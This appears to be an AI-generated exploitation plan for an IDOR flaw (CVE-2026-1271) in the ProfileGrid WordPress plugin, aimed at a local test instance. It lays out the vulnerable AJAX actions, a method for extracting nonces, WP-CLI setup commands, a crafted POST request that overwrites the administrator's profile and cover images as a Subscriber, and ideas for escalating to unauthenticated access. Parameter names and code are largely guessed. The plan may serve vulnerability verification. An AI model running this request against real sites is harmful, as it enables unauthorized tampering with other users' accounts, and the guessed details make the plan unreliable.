Exploitation Research Plan: CVE-2026-1271 (ProfileGrid IDOR)

1. Vulnerability Summary

The ProfileGrid plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to and including 5.9.7.2. The vulnerability exists in the handling of the pm_upload_image and pm_upload_cover_image AJAX actions. Specifically, the files public/partials/crop.php and public/partials/coverimg_crop.php (included during the AJAX call) utilize the update_user_meta() function using a user-controlled identifier (likely uid or user_id) without verifying if the authenticated user has the authority to modify the target user's profile. This allows a Subscriber-level user to overwrite the profile picture or cover image of any user, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Actions: pm_upload_image and pm_upload_cover_image
• Authentication: Authenticated (Subscriber or higher)
• Vulnerable Parameters:
  • uid or user_id (inferred): The ID of the user whose profile is being modified.
  • image_data (inferred): The cropped image data or path to be saved.
• Preconditions: The attacker must be logged in as a Subscriber and obtain a valid nonce for the ProfileGrid AJAX interface.

3. Code Flow

1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=pm_upload_image.
2. Hook Registration: The plugin registers the action (likely in includes/class-profile-grid.php or public/class-profile-grid-public.php):

   add_action('wp_ajax_pm_upload_image', array($this, 'pm_upload_image_handler'));
   

3. Handler Execution: The handler function processes the request and includes the vulnerable partial:

   // Inside pm_upload_image_handler
   include(PROFILEGRID_PLUGIN_DIR . 'public/partials/crop.php');
   

4. The Sink (crop.php): The file extracts a user ID from the request (e.g., $_POST['uid']) and calls update_user_meta() without checking if the current user ID matches the target UID.

   // Vulnerable Logic (approximate)
   $target_uid = $_POST['uid']; 
   // ... processing image ...
   update_user_meta($target_uid, 'profile_image', $new_image_path);
   

4. Nonce Acquisition Strategy

ProfileGrid typically localizes nonces into a JavaScript object.

1. Identify Script Localization: Search for wp_localize_script in the plugin folder to find the variable name.

   grep -r "wp_localize_script" .
   

2. Setup Test Page: Create a page containing a ProfileGrid shortcode (e.g., User Profile or Group) to ensure the scripts and nonces are loaded.
   • Target Shortcode: [profilegrid_profile] or [profilegrid_user_dashboard] (inferred).
   • Command: wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[profilegrid_profile]'
3. Extraction:
   • Navigate to the newly created page as the Subscriber user.
   • Use browser_eval to extract the nonce.
   • Target Variable (inferred): window.profilegrid_vars?.ajax_nonce or window.pg_ajax?.nonce. (Check the grep results for the exact key).

5. Exploitation Strategy

Step 1: Data Gathering

1. Identify the Administrator's User ID (usually 1).
2. Identify the Subscriber's User ID.
3. Extract the nonce and identify the parameter name for the user ID (likely uid).

Step 2: Crafting the Request

Send a POST request to modify the Admin's profile image.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded, Cookie: [Subscriber Cookies]
• Body:

  action=pm_upload_image&uid=1&nonce=[NONCE]&crop_data=[IMAGE_DATA/PATH]
  

  (Note: The exact structure of crop_data or image parameters needs to be verified by looking at the JS source or crop.php.)

Step 3: Repeat for Cover Image

• Action: pm_upload_cover_image
• Vulnerable File: public/partials/coverimg_crop.php

6. Test Data Setup

1. Target Admin: Ensure user ID 1 exists.
2. Attacker: Create a subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
3. Page Setup: Create a profile page to trigger nonce generation:
   wp post create --post_type=page --post_status=publish --post_content='[profilegrid_user_dashboard]'

7. Expected Results

• The server returns a success response (e.g., {"success": true} or a URL to the "new" image).
• The profile_image or cover_image meta-key for the Administrator (UID 1) is updated to a value chosen by the Subscriber.

8. Verification Steps

After running the exploit, use WP-CLI to check the target user's meta data:

# Check profile image meta
wp user meta get 1 profile_image
# Check cover image meta (meta key might be 'cover_image' or 'pg_cover_image')
wp user meta get 1 pg_cover_image 

If the value matches the one sent in the exploit payload, the IDOR is confirmed.

9. Alternative Approaches

If pm_upload_image requires complex image data (base64 or multipart), check if the plugin supports a simple path update.

1. Check for missing current_user_can: If the nonce is valid but the plugin fails to check permissions, any metadata associated with images could be changed.
2. Check for wp_ajax_nopriv: While the CVE specifies Subscriber+, check if wp_ajax_nopriv_pm_upload_image exists, which would escalate this to an unauthenticated vulnerability.